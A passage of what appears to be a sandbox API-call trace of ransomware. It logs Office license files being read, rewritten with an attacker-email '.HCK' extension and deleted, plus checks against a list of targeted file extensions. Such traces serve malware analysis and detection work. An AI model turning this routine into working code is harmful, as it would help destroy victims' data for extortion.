dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.863] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11621) returned 1 [0238.863] CloseHandle (hObject=0x4ac) returned 1 [0238.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220 [0238.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.864] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.864] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.865] GetLastError () returned 0x0 [0238.865] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0238.867] WriteFile (in: hFile=0x55c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0238.867] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.868] WriteFile (in: hFile=0x55c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x116, lpOverlapped=0x0) returned 1 [0238.868] SetEndOfFile (hFile=0x55c) returned 1 [0238.868] CloseHandle (hObject=0x55c) returned 1 [0238.868] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.868] SetEndOfFile (hFile=0x4ac) returned 1 [0238.871] CloseHandle (hObject=0x4ac) returned 1 [0238.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1 [0238.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.873] lstrlenW (lpString=".doc") returned 4 [0238.873] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.873] lstrlenW (lpString=".docx") returned 5 [0238.873] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.873] lstrlenW (lpString=".pdf") returned 4 [0238.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.873] lstrlenW (lpString=".xls") returned 4 [0238.873] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.873] lstrlenW (lpString=".xlsx") returned 5 [0238.873] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.873] lstrlenW (lpString=".ppt") returned 4 [0238.873] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.873] lstrlenW (lpString=".zip") returned 4 [0238.873] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.873] lstrlenW (lpString=".rar") returned 4 [0238.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.873] lstrlenW (lpString=".bz2") returned 4 [0238.873] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.873] lstrlenW (lpString=".7z") returned 3 [0238.873] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.873] lstrlenW (lpString=".dbf") returned 4 [0238.873] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.873] lstrlenW (lpString=".1cd") returned 4 [0238.873] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.874] lstrlenW (lpString=".jpg") returned 4 [0238.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.874] lstrlenW (lpString=".doc") returned 4 [0238.874] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString=".docx") returned 5 [0238.874] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.874] lstrlenW (lpString=".pdf") returned 4 [0238.874] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString=".xls") returned 4 [0238.874] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString=".xlsx") returned 5 [0238.874] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.874] lstrlenW (lpString=".ppt") returned 4 [0238.874] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.874] lstrlenW (lpString=".zip") returned 4 [0238.874] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString=".rar") returned 4 [0238.874] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString=".bz2") returned 4 [0238.874] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString=".7z") returned 3 [0238.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.874] lstrlenW (lpString=".dbf") returned 4 [0238.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.874] lstrlenW (lpString=".1cd") returned 4 [0238.874] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0238.874] lstrlenW (lpString=".jpg") returned 4 [0238.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.875] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.875] lstrlenW (lpString="HomeBusinessR_Trial2-pl.xrm-ms") returned 30 [0238.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.876] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11171) returned 1 [0238.876] CloseHandle (hObject=0x4ac) returned 1 [0238.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220 [0238.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.876] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.876] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.877] GetLastError () returned 0x0 [0238.877] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0238.879] WriteFile (in: hFile=0x55c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0238.880] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.880] WriteFile (in: hFile=0x55c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x110, lpOverlapped=0x0) returned 1 [0238.880] SetEndOfFile (hFile=0x55c) returned 1 [0238.881] CloseHandle (hObject=0x55c) returned 1 [0238.881] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.881] SetEndOfFile (hFile=0x4ac) returned 1 [0238.883] CloseHandle (hObject=0x4ac) returned 1 [0238.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1 [0238.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.885] lstrlenW (lpString=".doc") returned 4 [0238.885] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.885] lstrlenW (lpString=".docx") returned 5 [0238.885] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.885] lstrlenW (lpString=".pdf") returned 4 [0238.885] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.885] lstrlenW (lpString=".xls") returned 4 [0238.885] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.885] lstrlenW (lpString=".xlsx") returned 5 [0238.885] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.885] lstrlenW (lpString=".ppt") returned 4 [0238.885] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.885] lstrlenW (lpString=".zip") returned 4 [0238.885] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.885] lstrlenW (lpString=".rar") returned 4 [0238.885] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.885] lstrlenW (lpString=".bz2") returned 4 [0238.885] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.885] lstrlenW (lpString=".7z") returned 3 [0238.885] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.885] lstrlenW (lpString=".dbf") returned 4 [0238.885] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.885] lstrlenW (lpString=".1cd") returned 4 [0238.885] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.885] lstrlenW (lpString=".jpg") returned 4 [0238.886] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.886] lstrlenW (lpString=".doc") returned 4 [0238.886] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString=".docx") returned 5 [0238.886] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.886] lstrlenW (lpString=".pdf") returned 4 [0238.886] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString=".xls") returned 4 [0238.886] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString=".xlsx") returned 5 [0238.886] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.886] lstrlenW (lpString=".ppt") returned 4 [0238.886] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.886] lstrlenW (lpString=".zip") returned 4 [0238.886] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString=".rar") returned 4 [0238.886] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString=".bz2") returned 4 [0238.886] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString=".7z") returned 3 [0238.886] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.886] lstrlenW (lpString=".dbf") returned 4 [0238.886] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.886] lstrlenW (lpString=".1cd") returned 4 [0238.886] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0238.886] lstrlenW (lpString=".jpg") returned 4 [0238.886] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.887] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.887] lstrlenW (lpString="HomeBusinessR_Trial2-ppd.xrm-ms") returned 31 [0238.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.887] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=22215) returned 1 [0238.887] CloseHandle (hObject=0x4ac) returned 1 [0238.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220 [0238.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.888] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.888] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.889] GetLastError () returned 0x0 [0238.889] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x56c7, lpOverlapped=0x0) returned 1 [0238.891] WriteFile (in: hFile=0x55c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x56d0, lpOverlapped=0x0) returned 1 [0238.892] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.892] WriteFile (in: hFile=0x55c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x112, lpOverlapped=0x0) returned 1 [0238.892] SetEndOfFile (hFile=0x55c) returned 1 [0238.892] CloseHandle (hObject=0x55c) returned 1 [0238.892] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.892] SetEndOfFile (hFile=0x4ac) returned 1 [0239.074] CloseHandle (hObject=0x4ac) returned 1 [0239.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1 [0239.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.884] lstrlenW (lpString=".doc") returned 4 [0239.884] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.884] lstrlenW (lpString=".docx") returned 5 [0239.884] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.884] lstrlenW (lpString=".pdf") returned 4 [0239.884] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.884] lstrlenW (lpString=".xls") returned 4 [0239.884] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.884] lstrlenW (lpString=".xlsx") returned 5 [0239.884] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.884] lstrlenW (lpString=".ppt") returned 4 [0239.884] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.884] lstrlenW (lpString=".zip") returned 4 [0239.884] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.884] lstrlenW (lpString=".rar") returned 4 [0239.884] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString=".bz2") returned 4 [0239.885] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString=".7z") returned 3 [0239.885] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.885] lstrlenW (lpString=".dbf") returned 4 [0239.885] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.885] lstrlenW (lpString=".1cd") returned 4 [0239.885] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.885] lstrlenW (lpString=".jpg") returned 4 [0239.885] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.885] lstrlenW (lpString=".doc") returned 4 [0239.885] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString=".docx") returned 5 [0239.885] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.885] lstrlenW (lpString=".pdf") returned 4 [0239.885] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString=".xls") returned 4 [0239.885] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString=".xlsx") returned 5 [0239.885] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.885] lstrlenW (lpString=".ppt") returned 4 [0239.885] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.885] lstrlenW (lpString=".zip") returned 4 [0239.885] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString=".rar") returned 4 [0239.885] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString=".bz2") returned 4 [0239.885] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.885] lstrlenW (lpString=".7z") returned 3 [0239.885] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.885] lstrlenW (lpString=".dbf") returned 4 [0239.886] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.886] lstrlenW (lpString=".1cd") 